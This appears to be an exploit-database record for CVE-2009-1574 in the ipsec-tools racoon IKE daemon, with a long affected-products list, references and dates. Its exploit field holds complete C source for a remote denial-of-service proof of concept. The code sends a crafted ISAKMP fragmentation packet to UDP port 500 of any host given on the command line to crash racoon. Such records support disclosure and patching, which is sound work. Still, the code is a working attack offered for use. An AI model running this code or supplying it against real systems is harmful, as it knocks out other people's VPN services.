ID
VAR-E-200904-0795
CVE
cve_id: | CVE-2009-1574 | Trust: 1.9 |
cve_id: | CVE-2009-1632 | Trust: 0.3 |
EDB ID
8669
TITLE
IPsec-Tools < 0.7.2 (racoon frag-isakmp) - Multiple Remote Denial of Service Vulnerabilities (PoC) - Multiple dos Exploit
Trust: 0.6
DESCRIPTION
IPsec-Tools < 0.7.2 (racoon frag-isakmp) - Multiple Remote Denial of Service Vulnerabilities (PoC). CVE-2009-1574CVE-54286 . dos exploit for Multiple platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | ipsec tools | model: | - | scope: | lt | version: | 0.7.2 | Trust: 1.0 |
vendor: | ubuntu | model: | linux sparc | scope: | eq | version: | 9.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux powerpc | scope: | eq | version: | 9.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lpia | scope: | eq | version: | 9.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux i386 | scope: | eq | version: | 9.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux amd64 | scope: | eq | version: | 9.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux sparc | scope: | eq | version: | 8.10 | Trust: 0.3 |
vendor: | ubuntu | model: | linux powerpc | scope: | eq | version: | 8.10 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lpia | scope: | eq | version: | 8.10 | Trust: 0.3 |
vendor: | ubuntu | model: | linux i386 | scope: | eq | version: | 8.10 | Trust: 0.3 |
vendor: | ubuntu | model: | linux amd64 | scope: | eq | version: | 8.10 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts sparc | scope: | eq | version: | 8.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts powerpc | scope: | eq | version: | 8.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts lpia | scope: | eq | version: | 8.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts i386 | scope: | eq | version: | 8.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts amd64 | scope: | eq | version: | 8.04 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts sparc | scope: | eq | version: | 6.06 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts powerpc | scope: | eq | version: | 6.06 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts i386 | scope: | eq | version: | 6.06 | Trust: 0.3 |
vendor: | ubuntu | model: | linux lts amd64 | scope: | eq | version: | 6.06 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server sp3 | scope: | eq | version: | 9 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server | scope: | eq | version: | 9 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server | scope: | eq | version: | 11 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server sp2 | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server sp1 | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise server | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise desktop sp2 | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise desktop sp1 | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise desktop | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise sp2 debuginfo | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | linux enterprise sp1 debuginfo | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | suse | model: | opensuse | scope: | eq | version: | 10.3 | Trust: 0.3 |
vendor: | s u s e | model: | suse linux enterprise server rt solution | scope: | eq | version: | 100 | Trust: 0.3 |
vendor: | s u s e | model: | opensuse | scope: | eq | version: | 11.1 | Trust: 0.3 |
vendor: | s u s e | model: | opensuse | scope: | eq | version: | 11.0 | Trust: 0.3 |
vendor: | red | model: | hat fedora | scope: | eq | version: | 9 | Trust: 0.3 |
vendor: | red | model: | hat fedora | scope: | eq | version: | 10 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux eus 5.3.z server | scope: | - | version: | - | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux desktop client | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | red | model: | hat enterprise linux server | scope: | eq | version: | 5 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2009.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2009.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2009.0 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2009.0 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2008.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2008.1 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake x86 64 | scope: | eq | version: | 2008.0 | Trust: 0.3 |
vendor: | mandriva | model: | linux mandrake | scope: | eq | version: | 2008.0 | Trust: 0.3 |
vendor: | mandrakesoft | model: | multi network firewall | scope: | eq | version: | 2.0 | Trust: 0.3 |
vendor: | mandrakesoft | model: | corporate server x86 64 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | mandrakesoft | model: | corporate server | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.7.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6.7 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6.6 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6.2 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.6 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.5.2 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.5.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.5 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc1 | scope: | eq | version: | 0.4 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.3.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.3.2 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.3.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc5 | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc4 | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc3 | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc2 | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools rc1 | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2.5 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2.4 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2.3 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2.2 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.2 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.1 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | eq | version: | 0.7 | Trust: 0.3 |
vendor: | gentoo | model: | linux | scope: | - | version: | - | Trust: 0.3 |
vendor: | debian | model: | linux sparc | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux s/390 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux powerpc | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux mipsel | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux mips | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux m68k | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-64 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-32 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux hppa | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux armel | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux arm | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux amd64 | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux alpha | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux | scope: | eq | version: | 5.0 | Trust: 0.3 |
vendor: | debian | model: | linux sparc | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux s/390 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux powerpc | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux mipsel | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux mips | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux m68k | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-64 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux ia-32 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux hppa | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux armel | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux arm | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux amd64 | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux alpha | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | debian | model: | linux | scope: | eq | version: | 4.0 | Trust: 0.3 |
vendor: | apple | model: | time capsule | scope: | eq | version: | 7.5 | Trust: 0.3 |
vendor: | apple | model: | time capsule | scope: | eq | version: | 7.4.2 | Trust: 0.3 |
vendor: | apple | model: | time capsule | scope: | eq | version: | 7.4.1 | Trust: 0.3 |
vendor: | apple | model: | time capsule | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.8 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.7 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.5 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.11 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.10 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.9 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.8 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.7 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.5 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.9 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.8 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.7 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.5 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.4 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3.1 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.3 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.6 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | eq | version: | x10.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.11 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.10 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.9 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.9 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.8 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.7 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.5 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.4 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3.1 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.3 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.6 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | eq | version: | x10.5 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.4.2 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.3.1 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.2.1 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 5.7 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 5.5 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.5 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.1 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 7.0 | Trust: 0.3 |
vendor: | apple | model: | airport extreme base station with 802.11n | scope: | eq | version: | 7.4.1 | Trust: 0.3 |
vendor: | apple | model: | airport extreme base station | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | apple | model: | airport extreme | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | apple | model: | airport express | scope: | eq | version: | 6.3 | Trust: 0.3 |
vendor: | apple | model: | airport express | scope: | eq | version: | 6.1 | Trust: 0.3 |
vendor: | apple | model: | airport express base station with 802.11n | scope: | eq | version: | 7.4.1 | Trust: 0.3 |
vendor: | apple | model: | airport express | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | ipsec tools | model: | ipsec-tools | scope: | ne | version: | 0.7.2 | Trust: 0.3 |
vendor: | apple | model: | time capsule | scope: | ne | version: | 7.5.2 | Trust: 0.3 |
vendor: | apple | model: | mac os server | scope: | ne | version: | x10.6.2 | Trust: 0.3 |
vendor: | apple | model: | mac os | scope: | ne | version: | x10.6.2 | Trust: 0.3 |
vendor: | apple | model: | airport extreme base station with 802.11n | scope: | ne | version: | 7.5.2 | Trust: 0.3 |
vendor: | apple | model: | airport express base station with 802.11n | scope: | ne | version: | 7.5.2 | Trust: 0.3 |
EXPLOIT
/* racoon-isakmp-dos.c
*
* Copyright (c) 2009 by <mu-b@digit-labs.org>
*
* ipsec-tools racoon frag-isakmp DoS POC
* by mu-b - Thu Apr 02 2009
*
* - Tested on: ipsec-tools-0.7.1
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#define DEF_PORT 500
#define PORT_ISAKMP DEF_PORT
#define ISAKMP_VERSION_NUMBER 0x10
#define ISAKMP_ETYPE_BASE 1 /* Base */
/* Frag does not seems to be documented */
#define ISAKMP_NPTYPE_FRAG 132 /* IKE fragmentation payload */
/* flags */
#define ISAKMP_FRAG_LAST 1
typedef u_char cookie_t[8];
/* 3.1 ISAKMP Header Format */
struct isakmp {
cookie_t i_ck; /* Initiator Cookie */
cookie_t r_ck; /* Responder Cookie */
unsigned char np; /* Next Payload Type */
unsigned char v;
unsigned char etype; /* Exchange Type */
unsigned char flags; /* Flags */
unsigned int msgid;
unsigned int len; /* Length */
};
/* IKE fragmentation payload */
struct isakmp_frag {
unsigned short unknown0; /* always set to zero? */
unsigned short len;
unsigned short unknown1; /* always set to 1? */
unsigned char index;
unsigned char flags;
};
/* used to verify the r_ck. */
static u_char r_ck0[] = { 0,0,0,0,0,0,0,0 };
static void
isa_kmp_dos (char *host)
{
char buf[sizeof (struct isakmp) +
sizeof (struct isakmp_frag)];
struct isakmp *hdr;
struct isakmp_frag *frag;
struct sockaddr_in saddr;
struct hostent *hp;
int fd, i, len, n;
if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
{
perror ("socket()");
exit (EXIT_FAILURE);
}
if ((hp = gethostbyname (host)) == NULL)
{
perror ("gethostbyname()");
exit (EXIT_FAILURE);
}
memset (&saddr, 0, sizeof saddr);
memcpy ((char *) &saddr.sin_addr, hp->h_addr, hp->h_length);
saddr.sin_family = AF_INET;
saddr.sin_port = htons (PORT_ISAKMP);
/* formulate request */
memset (buf, 0, sizeof (buf));
hdr = (struct isakmp *) buf;
frag = (struct isakmp_frag *) (hdr + 1);
for (i = 0; i < sizeof (hdr->i_ck); i++)
hdr->i_ck[i] = (rand () % 255) + 1;
memcpy (&hdr->r_ck, r_ck0, sizeof (hdr->r_ck));
hdr->v = ISAKMP_VERSION_NUMBER;
hdr->flags = 0;
hdr->etype = ISAKMP_ETYPE_BASE;
hdr->msgid = 0;
hdr->np = ISAKMP_NPTYPE_FRAG;
len = sizeof (struct isakmp) + sizeof (struct isakmp_frag);
hdr->len = htonl (len);
frag->len = htons (sizeof (struct isakmp_frag));
frag->index = 1;
frag->flags = ISAKMP_FRAG_LAST;
n = sendto (fd, hdr, len, 0, (struct sockaddr *) &saddr, sizeof saddr);
if (n < 0 || n != len)
{
fprintf (stderr, "isa_kmp_dos: sendto %d != %d\n", n, len);
exit (EXIT_FAILURE);
}
close (fd);
}
int
main (int argc, char **argv)
{
printf ("ipsec-tools racoon frag-isakmp DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <host>\n", argv[0]);
exit (EXIT_SUCCESS);
}
printf ("* crashing racoon... ");
isa_kmp_dos (argv[1]);
printf ("done\n\n");
return (EXIT_SUCCESS);
}
// milw0rm.com [2009-05-13]
Trust: 1.0
EXPLOIT LANGUAGE
c
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Multiple Remote Denial of Service Vulnerabilities (PoC)
Trust: 1.0
CREDITS
mu-b
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2009-1574 | Trust: 1.9 |
db: | EXPLOIT-DB | id: | 8669 | Trust: 1.6 |
db: | EDBNET | id: | 32884 | Trust: 0.6 |
db: | NVD | id: | CVE-2009-1632 | Trust: 0.3 |
db: | BID | id: | 34765 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2009-1574 | Trust: 1.6 |
url: | https://www.exploit-db.com/exploits/8669/ | Trust: 0.6 |
url: | http://ipsec-tools.sourceforge.net/ | Trust: 0.3 |
url: | http://cvsweb.netbsd.org/bsdweb.cgi/src/crypto/dist/ipsec-tools/src/racoon/isakmp_frag.c?f=h#rev1.4.6.1 | Trust: 0.3 |
url: | http://sourceforge.net/project/shownotes.php?group_id=74601&release_id=677611 | Trust: 0.3 |
url: | http://comments.gmane.org/gmane.comp.security.oss.general/1716 | Trust: 0.3 |
url: | https://trac.ipsec-tools.net/ticket/303 | Trust: 0.3 |
url: | https://rhn.redhat.com/errata/rhsa-2009-1036.html | Trust: 0.3 |
url: | http://xorl.wordpress.com/2009/05/04/ipsec-tools-null-pointer-dereference/ | Trust: 0.3 |
SOURCES
db: | BID | id: | 34765 |
db: | EXPLOIT-DB | id: | 8669 |
db: | EDBNET | id: | 32884 |
LAST UPDATE DATE
2022-07-27T09:28:22.383000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 34765 | date: | 2015-03-19T08:23:00 |
SOURCES RELEASE DATE
db: | BID | id: | 34765 | date: | 2009-04-22T00:00:00 |
db: | EXPLOIT-DB | id: | 8669 | date: | 2009-05-13T00:00:00 |
db: | EDBNET | id: | 32884 | date: | 2009-05-13T00:00:00 |